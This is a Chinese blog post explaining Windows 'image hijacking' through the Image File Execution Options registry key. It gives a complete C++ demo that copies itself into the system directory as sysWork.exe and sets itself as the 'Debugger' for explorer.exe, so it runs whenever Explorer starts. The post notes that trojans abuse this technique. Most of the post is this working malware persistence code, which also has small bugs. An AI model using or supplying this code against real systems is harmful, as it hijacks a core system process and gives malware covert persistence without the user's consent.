• 安全之路 —— 通过映像劫持实现文件自启动


    简介

    Windows映像劫持技术是微软提供给软件开发者调试使用的在注册表项,能够替换目标进程执行。但如果被病毒木马利用,便会成为触发式自启动的绝佳方式,所以修改映像劫持的操作行为也被反病毒软件列为极其危险的行为之一。

    • 实现映像劫持修改的注册表项为:
    1. HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionImage File Execution Options

    在项下添加新的子键,名为替代启动的目标进程名,例如“cmd.exe”,然后创建新的值项为“Debugger”,值为新的进程路径。

    C++代码样例

    ////////////////////////////////////////////////
    //
    // FileName : ifeoDemo.cpp
    // Creator : PeterZ1997
    // Date : 2018-5-5 18:44
    // Comment : Image File Hijacking Demo
    //
    ////////////////////////////////////////////////
    
    #include <cstdio>
    #include <cstdlib>
    #include <cstring>
    #include <iostream>
    #include <windows.h>
    
    using namespace std;
    
    const unsigned int MAX_COUNT = 255;
    BOOL g_fileExistFlag = false;
    
    /**
     * @brief 封装字符型注册表操作
     * @param hRoot root key
     * @param szSubKey sub key after the root key
     * @param szValueName key name
     * @param szData key Data
     * @return Boollean Value
     */
    BOOL setStringValueToReg(HKEY hRoot, const char* szSubKey, const char* szValueName, const char* szValue)
    {
        HKEY hKey;
        long lRet;
        if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
        if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false;
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    
    /**
     * @brief Main Function
     */
    int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
    {
        CHAR szSystemFilePath[MAX_COUNT] = "";
        CHAR szSelfFilePath[MAX_COUNT] = "";
        CHAR szExplorerPath[MAX_COUNT] = "";
        GetSystemDirectory(szSelfFilePath, sizeof(szSystemFilePath));
        strcat_s(szExplorerPath, sizeof(szExplorerPath), "C:\Windows\explorer.exe");
        strcat_s(szSystemFilePath, sizeof(szSystemFilePath), "\sysWork.exe");
        GetModuleFileName(NULL, szSelfFilePath, sizeof(szSelfFilePath));
        if (!CopyFile(szSelfFilePath, szSystemFilePath, true))
        {
            setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe", "Debugger", "");
            WinExec(szExplorerPath, SW_SHOW);
        }
        setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe", "Debugger", szSystemFilePath);
        MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
        ExitProcess(0);
        return 0;
    }
  • 相关阅读:
    ASP.NET中存取图片到数据库的示例(C#)
    解决:通过asp.net 调用FlashPrinter.exe把所有可打印的文件转换成swf文件
    vs命令提示,类生成.dll文件 .snk文件
    asp.net 为指定的图片生成缩图
    asp.net自定义错误处理页面的几种方法。
    ACCESS高效分页
    C# 读取excel数据的两个方法
    ucenter asp.net接口源码,有用户中心、站内短信接口
    存储过程中的top+变量
    测试
  • 原文地址:https://www.cnblogs.com/csnd/p/12897012.html
Copyright © 2020-2023  润新知